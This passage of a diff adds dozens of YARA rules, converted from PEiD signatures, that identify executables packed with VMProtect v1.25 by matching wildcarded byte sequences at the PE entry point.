+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03188_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03189_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03190_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03191_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03192_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03193_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03194_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03195_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03196_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03197_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03198_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03199_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03200_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03201_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03202_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03203_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03204_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03205_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03206_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03207_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03208_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 46 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03209_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03210_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03211_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03212_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 46 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03213_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03214_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 46 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03215_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03216_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03217_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03218_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03219_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03220_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03221_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03222_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03223_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03224_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03225_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03226_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03227_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03228_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03229_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03230_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03231_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03232_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03233_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03234_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03235_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03236_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03237_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03238_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03239_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03240_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03241_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03242_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03243_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03244_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03245_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03246_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03247_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03248_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03249_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03250_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03251_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03252_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03253_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03254_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03255_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03256_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03257_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03258_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03259_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03260_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03261_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03262_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03263_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E0 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03264_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E8 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03265_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03266_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03267_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03268_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03269_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03270_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03271_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
